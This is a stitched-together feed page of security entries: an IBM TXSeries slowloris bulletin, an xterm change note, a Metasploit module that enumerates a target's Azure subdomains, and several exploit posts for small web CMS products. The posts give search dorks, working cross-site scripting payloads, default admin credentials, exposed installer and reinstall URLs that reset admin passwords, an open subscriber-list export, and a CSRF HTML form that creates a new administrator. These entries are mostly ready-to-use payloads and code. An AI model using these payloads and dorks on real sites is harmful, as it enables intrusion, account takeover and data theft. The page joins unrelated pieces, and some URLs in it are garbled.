
IBM TXSeries for Multiplatforms 8.1, 8.2, and 9.1 is vulnerable to a denial of service, caused by improper enforcement of the timeout on individual read operations. By conducting a slowloris-type attacks, a remote attacker could exploit this vulnerability to cause a denial of service. IBM X-Force ID: 262905.



  

**Summary**

IBM TXSeries for Multiplatforms Web Services is vulnerable to Slowloris attack which is a type of denial-of-service (DoS). This issue has been addressed.

**Vulnerability Details**

**CVEID:**   CVE-2023-38741  
**DESCRIPTION:**   IBM TXSeries for Multiplatforms is vulnerable to a denial of service, caused by improper enforcement of the timeout on individual read operations. By conducting a slowloris-type attacks, a remote attacker could exploit this vulnerability to cause a denial of service.  
CVSS Base score: 7.5  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/262905 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

**Affected Products and Versions**

Affected Product(s)

Version(s)

IBM TXSeries for Multiplatforms

8.1

IBM TXSeries for Multiplatforms

8.2

IBM TXSeries for Multiplatforms

9.1

**Remediation/Fixes**

Product

Version

Platform

Remediation/Fix

IBM TXSeries for Multiplatforms

8.1

Linux, AIX

Please follow the recommendations here 

IBM TXSeries for Multiplatforms

8.2

Linux, AIX, Windows, HP

Please follow the recommendations here 

IBM TXSeries for Multiplatforms

9.1

Linux, AIX

Please follow the recommendations here

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

**Change History**

11 Aug 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU058","label":"IBM Infrastructure w\\/TPS"},"Product":{"code":"SSAL2T","label":"TXSeries for Multiplatforms"},"Component":"","Platform":\[{"code":"PF016","label":"Linux"},{"code":"PF002","label":"AIX"},{"code":"PF033","label":"Windows"},{"code":"PF010","label":"HP-UX"}\],"Version":"8.1, 8.2, 9.1","Edition":"","Line of Business":{"code":"LOB35","label":"Mainframe SW"}}\]

CVE-2023-38741: Security Bulletin: IBM TXSeries for Multiplatforms Web Services is vulnerable to Slowloris attack which is a type of denial-of-service (DoS)

xterm before 380 supports ReGIS reporting for character-set names even if they have unexpected characters (i.e., neither alphanumeric nor underscore), aka a pointer/overflow issue.

CVE-2023-40359: XTERM - Change Log

This is a Metasploit module for enumerating public Azure services by validating legitimate subdomains through various DNS record queries. This cloud reconnaissance module rapidly identifies API services, storage accounts, key vaults, databases, and more!

    *Background:*Microsoft makes use of a number of different domains and subdomains foreach of their Azure services. From SQL databases to SharePoint drives, eachservice maps to its respective domain/subdomain, and with the propertoolset, these can be identified through DNS enumeration to yieldinformation about the target domain's infrastructure.enum_azuresubdomains.rb is a Metasploit module for enumerating public Azureservices by validating legitimate subdomains through various DNS recordqueries. This cloud reconnaissance module rapidly identifies API services,storage accounts, key vaults, databases, and more! Expedite your cloudreconnaissance phases with enum_azuresubdomains.rb.*Code:*### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::DNS::Enumeration  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Azure Subdomain Scanner and Enumerator',        'Description' => 'This module can be used for enumerating publicAzure services by locating valid subdomains through various DNS queries.',        'Author' => ['RoseSecurity <RoseSecurityConsulting[at]protonmail.me>'],        'References' => ['www.netspi.com/blog/technical/cloud-penetration-testing/enumerating-azure-services'],        'License' => MSF_LICENSE      )      )    register_options(      [        OptString.new('DOMAIN', [true, 'The target domain without TLD (Ex:victim rather than victim.org)']),        OptBool.new('PERMUTATIONS',                    [false,                     'Prepend and append permutated keywords to domain',false]),        OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]),        OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record',true]),        OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]),        OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]),        OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]),        OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true])      ]    )  end  def dns_enum(target_domains)    target_domains.each do |domain|      next unless dns_get_a(domain)      print_good("Discovered Target Domain: #{domain} \n")      dns_get_a(domain) if datastore['ENUM_A']      dns_get_cname(domain) if datastore['ENUM_CNAME']      dns_get_ns(domain) if datastore['ENUM_NS']      dns_get_mx(domain) if datastore['ENUM_MX']      dns_get_soa(domain) if datastore['ENUM_SOA']      dns_get_txt(domain) if datastore['ENUM_TXT']    end  end  def run    # Array of subdomains to enumerate    domain = datastore['DOMAIN']    subdomains = [      '.onmicrosoft.com',      '.scm.azurewebsites.net',      '.azurewebsites.net',      '.p.azurewebsites.net',      '.cloudapp.net',      '.file.core.windows.net',      '.blob.core.windows.net',      '.queue.core.windows.net',      '.table.core.windows.net',      '.mail.protection.outlook.com',      '.sharepoint.com',      '.redis.cache.windows.net',      '.documents.azure.com',      '.database.windows.net',      '.vault.azure.net',      '.azureedge.net',      '.search.windows.net',      '.azure-api.net',      '.azurecr.io'    ]    # Array of keywords to prepend and append    permutations = %w[      root      web      api      azure      azure-logs      data      database      data-private      data-public      dev      development      demo      files      filestorage      internal      keys      logs      private      prod      production      public      service      services      splunk      sql      staging      storage      storageaccount      test      useast      useast2      centralus      northcentralus      westcentralus      westus      westus2    ]    # Create permutated array of keywords and target domain    if datastore['PERMUTATIONS']      permutated_domains = []      permutations.each do |keywords|        permutated_domains.append("#{domain}-#{keywords}")        permutated_domains.append("#{keywords}-#{domain}")      end      # Permutated and Normal list of subdomains      target_domains = []      subdomains.each do |tld|        target_domains.append(domain + tld)        permutated_domains.each do |_subdomain|          target_domains.append(domain + tld)        end      end      # Query DNS records of permutated and normal target subdomains    else      # Query DNS records of normal target subdomains      target_domains = []      subdomains.each do |tld|        target_domains.append(domain + tld)      end    end    dns_enum(target_domains)  endend

Microsoft Azure Subdomain Scanner / Enumerator

BookingWizz version 6.0.1 suffers from an information leakage vulnerability.

    ====================================================================================================================================| # Title     : BookingWizz v6.0.1 sensitive information disclosure Vulnerability                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             | | # Vendor    : https://codecanyon.net/item/booking-system/87919?s_rank=9                                                          |  | # Dork      : "BookingWizz v6.0"                                                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The error is from the developer, as it does not warn you to delete the installation file after completion, or it is deleted automatically.[+] When you add install file they show you the real user and pass for admin panel.[+] Use Payload : /install.php[+] https://127.0.0.1therazorsedgebarberscom/tiff/install.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

BookingWizz 6.0.1 Information Disclosure

E-commerce Growisei CMS version 2.0 appears to leave default credentials installed after installation.

    ====================================================================================================================================| # Title     : E-commerce Growisei CMS v2.0 insecure Settings Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.growiseit.com/                                                                                         |  | # Dork      :  Growise InfoTech. All Rights Reserved.                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = admin[+] Panel : https://127.0.0.1/khakipacketcom/admin/dashboardGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

E-commerce Growisei CMS 2.0 Insecure Settings

DBCInfoTech CMS version 2.0 suffers from an unauthenticated administrator reinstall vulnerability.

    ====================================================================================================================================| # Title     : dbcinfotech CMS v2.0 Reinstall Script Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://www.themeslide.com/whizclassified-classifieds-cms/                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Reinstall the site manager settings including resetting a new password.    because after the first installation, The setup file was not deleted automatically or by the website owner.    the installation file repeats the installation process.[+] use payload : /index.php/en/install/accountsetup[+] http://127.0.0.1/aphroditepaphiascom/index.php/en/install/accountsetupGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

DBCInfoTech CMS 2.0 Administrator Reinstall

Education Time Indonesian School CRM version 1.7 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Education Time Indonesian School CRM v 1.7 Xss Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://p30vel.ir                                                                                                   |  | # Dork      : "media.php?module=detailberita&id="                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] use payload : /unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberita[+] http://wwumpalangkarayaacid//unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberitaGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Education Time Indonesian School CRM 1.7 Cross Site Scripting

Eden CMS version 1.02 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Eden CMS v1.02 Xss Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://edendesign.be/fr/                                                                                          |  | # Dork      : intext:"Website by Eden Design"                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352[+]  http://www/miniartextilit/artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352        Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Eden CMS 1.02 Cross Site Scripting

Ecommerce Responsive version 1.2 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : Ecommerce Responsive v1.2 Insecure Direct Object Reference Vulnerability                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 62.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/ecommerce-responsive-ecommerce-business-management-script/21413994                     |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] Any visitor can export and download a subscriber list .[+] use payload : /admin/subscriber-csv.php[+] https://www/demoslycom/xicia/cc/ecommerce/admin/subscriber-csv.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Ecommerce Responsive 1.2 Insecure Direct Object Reference

E-Biz CMS version 2.0 suffers from a cross site request forgery vulnerability.

====================================================================================================================================  
| # Title     : E-Biz CMS v2.0 CSRF Vulnerability                                                                                  |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               |   
| # Vendor    : https://softech.pk/                                                                                                |    
| # Dork      : Copyright © 2019, Designed By SOFTECH                                                                              |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 17.

[+] Set the target site link Save changes and apply . 

[+] infected file : /add_user.php.

[+] http://127.0.0.1/q7.3/softpanel/add_user.php.

[+] save code as poc.html .

    <h1>Add User</h1>  
    </div>  
      
    <div class="site">  
      <div class="container">  
        <div class="grid-16">

                          <div class="widget" >  
            <div class="widget-header"> <span class="icon-wrench"></span>  
              <h3>Add User </h3>  
            </div>  
              
            <div class="widget-content">  
                
                
                
              <form action="http://aosccom/softpanel/add_user.php" method="post" enctype="multipart/form-data" name="" class="form uniformForm validateForm">  
                <table width="650" border="0" align="center" cellpadding="0" cellspacing="0">  
                  <tr>  
                    <td width="527" align="left"><strong>Name : </strong></td>  
                  </tr>  
                  <tr>  
                    <td><input name="name" value="" class="validate[required]" type="text" id="name" size="50"></td>  
                  </tr>  
                  <tr>  
                    <td><strong>Email :</strong> </td>  
                  </tr>  
                  <tr>  
                    <td><span class="field">  
                      <input name="email"  type="text" id="date"  class="validate[required,custom[email]" size="50" />  
                    </span></td>  
                  </tr>  
                  <tr>  
                    <td><strong>Password :</strong></td>  
                  </tr>  
                  <tr>  
                    <td><div class="field">  
                    <input name="password"  type="text" id="date_English" class="validate[required]" size="50" />          
                  </div> </td>  
                  </tr>  
                  <tr>  
                    <td><strong>Access : </strong></td>  
                  </tr>  
                  <tr>  
                    <td><select name="type" id="type" >  
                        <option value="user" selected="selected">User</option>  
                      <option value="admin">Admin</option>  
                    </select>                           </td>  
                  </tr>  
                  <tr id="link">  
                    <td><table width="100%" border="0" cellspacing="0" cellpadding="0">  
                        <tr>  
                          <td height="30"><strong id="">Privileges:</strong></td>  
                        </tr>  
                        <tr>  
                          <td align="center" valign="middle"><table width="400" border="0" align="center" cellpadding="0" cellspacing="0">

                                                        <tr>  
                              <td width="54%" height="25" align="left"><table width="150" border="0" cellspacing="0" cellpadding="0">  
                                <tr>  
                                  <td height="25"><label for="label">Company News</label></td>  
                                  <td width="10"><input type="checkbox" id="new" name="news" value="Y" onClick="news.value=(this.checked)?'Y':'N'"></td>  
                                </tr>                                <tr>  
                                  <td height="25">Home Banners</td>  
                                  <td><input type="checkbox" id="ban" name="banners" value="Y" onClick="banners.value=(this.checked)?'Y':'N'" ></td>  
                                </tr>                                 <tr>  
                                  <td height="25">Gallery</td>  
                                  <td><input type="checkbox" id="gal" name="gallery" value="Y"  onClick="gallery.value=(this.checked)?'Y':'N'"></td>  
                                </tr>                                <tr>  
                                  <td height="25"><label for="sim">Simple Gallery</label></td>  
                                  <td><input type="checkbox" id="gallery" name="simple_gallery" value="Y"  onClick="simple_gallery.value=(this.checked)?'Y':'N'"></td>  
                                </tr>                                                                                                                                                                                                                              <tr>  
                                  <td height="25">Pages</td>  
                                  <td><input name="pages" type="checkbox" id="pages"onClick="pages.value=(this.checked)?'Y':'N'" value="checkbox" checked></td>  
                                </tr>                                 <tr>  
                                  <td height="25">Newsletter</td>  
                                  <td><input name="newsletter" type="checkbox" id="newsletter"onClick="newsletter.value=(this.checked)?'Y':'N'" value="checkbox" checked></td>  
                                </tr>                                                                  <tr>  
                                  <td height="25">Categories</td>  
                                  <td><input name="categories" type="checkbox" id="categories" onClick="categories.value=(this.checked)?'Y':'N'" value="checkbox" checked></td>  
                                </tr>                                                             </table>                                </td>  
                            </tr>

                                                      </table>                            </td>  
                        </tr>  
                      </table></td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>

                                                      <tr>  
                    <td>&nbsp;</td>  
                  </tr>  
                </table>  
                </td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>  
                  <tr>  
                    <td>&nbsp;</td>  
                  </tr>  
                  <tr>  
                    <td></td>  
                  </tr>  
                  <tr>  
                    <td>                                          </td>  
                  </tr>  
                  <tr>  
                    <td>&nbsp;</td>  
                  </tr>  
                  <tr>  
                    <td><button  name="save"class="btn btn-primary"><span class="icon-move-alt2"></span>Save</button>

  <button type="reset" class="btn btn-primary"><span class="icon-move-horizontal-alt2"></span>Cancel</button></td>  
                  </tr>  
                </table>  
              </form>  
            </div>

Greetings to :=================================================================  
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |  
===============================================================================

Tag

#windows